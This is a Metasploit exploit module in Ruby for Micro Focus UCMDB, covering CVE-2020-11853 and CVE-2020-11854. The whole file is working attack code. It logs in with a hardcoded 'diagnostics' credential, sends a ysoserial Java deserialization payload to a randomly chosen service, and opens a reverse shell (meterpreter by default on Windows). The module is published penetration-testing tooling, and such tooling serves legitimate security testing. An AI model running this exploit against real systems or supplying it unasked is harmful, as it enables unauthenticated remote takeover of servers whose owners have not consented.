194 lines
6.6 KiB
Ruby
194 lines
6.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Powershell
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Micro Focus UCMDB Java Deserialization Unauthenticated Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits two vulnerabilities, that when chained allow an attacker
|
|
to achieve unauthenticated remote code execution in Micro Focus UCMDB.
|
|
UCMDB included in versions 2020.05 and below of Operations Bridge Manager are affected,
|
|
but this module can probably also be used to exploit Operations Bridge Manager
|
|
(containeirized) and Application Performance Management.
|
|
Check the advisory and module documentation for details.
|
|
The first vulnerability is a hardcoded password for the "diagnostics" user, which
|
|
allows us to login to UCMDB. The second vulnerability is a run-of-the-mill Java
|
|
deserialization, which can be exploited with ysoserial's CommonsBeanutils1 payload.
|
|
Both Windows and Linux installations are vulnerable.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'],
|
|
[ 'CVE', '2020-11853'],
|
|
[ 'CVE', '2020-11854'],
|
|
[ 'ZDI', '20-1287'],
|
|
[ 'ZDI', '20-1288'],
|
|
],
|
|
'Privileged' => true,
|
|
'Platform' => %w[unix win],
|
|
'DefaultOptions' =>
|
|
{
|
|
'WfsDelay' => 15
|
|
},
|
|
'Targets' =>
|
|
# unfortunately could not find a way to determine target automatically
|
|
[
|
|
[
|
|
'Windows',
|
|
{
|
|
'Platform' => 'win',
|
|
'DefaultOptions' =>
|
|
{ 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
|
|
},
|
|
],
|
|
[
|
|
'Linux',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => [ARCH_CMD],
|
|
'DefaultOptions' =>
|
|
# Metasploit ysoserial's Linux payloads are currently BROKEN!
|
|
# So we need to default to cmd/unix/generic, which is the only that works now.
|
|
# Once this is fixed, change the default to cmd/unix/reverse_python
|
|
# ... and remove this comment.
|
|
{ 'PAYLOAD' => 'cmd/unix/generic' }
|
|
},
|
|
]
|
|
],
|
|
'DisclosureDate' => '2020-10-28',
|
|
'DefaultTarget' => 0
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8443),
|
|
OptString.new('TARGETURI', [ true, 'Base UCMDB path', '/']),
|
|
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'ucmdb-api', 'connect'),
|
|
'method' => 'GET'
|
|
})
|
|
if res && res.code == 200 && res.body.include?('HttpUcmdbServiceProviderFactoryImpl')
|
|
if res.body.include?('ServerVersion=11.6.0')
|
|
# 100% sure this version is vulnerable
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
def exploit
|
|
print_status("#{peer} - Attacking #{target.name} target")
|
|
|
|
if target.name == 'Windows'
|
|
cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true })
|
|
else
|
|
cmd = payload.encoded
|
|
end
|
|
|
|
# First, let's authenticate
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', 'cms', 'loginRequest.do;'),
|
|
'method' => 'POST',
|
|
'vars_post' => {
|
|
'customerID' => '1',
|
|
'isEncoded' => 'false',
|
|
'userName' => 'diagnostics',
|
|
'password' => 'YWRtaW4=',
|
|
'ldapServerName' => 'UCMDB'
|
|
}
|
|
})
|
|
unless res && res.code == 200 && res.get_cookies.include?('LWSSO_COOKIE_KEY')
|
|
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate with the diagnostics user!")
|
|
end
|
|
cookies = res.get_cookies
|
|
print_good("#{peer} - Succesfully authenticated and obtained our cookie!")
|
|
|
|
# Now let's pick a random service since we have so many to choose from :D
|
|
vuln_service = [
|
|
'services/CmdbOperationExecuterService',
|
|
'services/CategoryFacadeForGui',
|
|
'services/CorrelationFacadeForGui',
|
|
'services/CorrelationRunnerFacade',
|
|
'services/PackageFacadeForGui',
|
|
'services/SchedulerFacadeForGui',
|
|
'services/FoldersFacade',
|
|
'services/BusinessModelFacadeForGui',
|
|
'services/WatchServerAPI',
|
|
'services/TopologyService',
|
|
'services/ReportService',
|
|
'services/CMSImagesService',
|
|
'services/PatternService',
|
|
'services/FolderService',
|
|
'services/RelatedCIsService',
|
|
'services/MailService',
|
|
'services/DiscoveryService',
|
|
'services/ServiceDiscoveryService',
|
|
'services/SoftwareLibraryService',
|
|
'services/DataAcquisitionService',
|
|
'services/CIService',
|
|
'services/HistoryService',
|
|
'services/BundleService',
|
|
'services/LocationService',
|
|
'services/SchedulerService',
|
|
'services/ImpactService',
|
|
'services/CommonService',
|
|
'services/PermissionsService',
|
|
'services/ClassModelService',
|
|
'services/SnapshotService',
|
|
'services/LDAPService',
|
|
'services/CITService',
|
|
'services/MultiTenancyService',
|
|
'services/SecurityService',
|
|
'services/ResourceManagementService',
|
|
'services/AutomationMappingService',
|
|
'services/LicensingService',
|
|
'services/GenericAdapterService'
|
|
].sample
|
|
|
|
# Simple as
|
|
payload = ::Msf::Util::JavaDeserialization.ysoserial_payload('CommonsBeanutils1', cmd)
|
|
|
|
print_status("#{peer} - Sending payload to /#{vuln_service}")
|
|
|
|
res = send_request_raw({
|
|
'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', vuln_service),
|
|
'method' => 'POST',
|
|
'cookie' => cookies,
|
|
'headers' => { 'Content-Type' => 'application/x-java-serialized-object' },
|
|
'data' => payload
|
|
})
|
|
|
|
if res && res.code == 500
|
|
print_good("#{peer} - Success, shell incoming!")
|
|
handler
|
|
else
|
|
print_error("#{peer} - Something failed, try again?")
|
|
end
|
|
end
|
|
end
|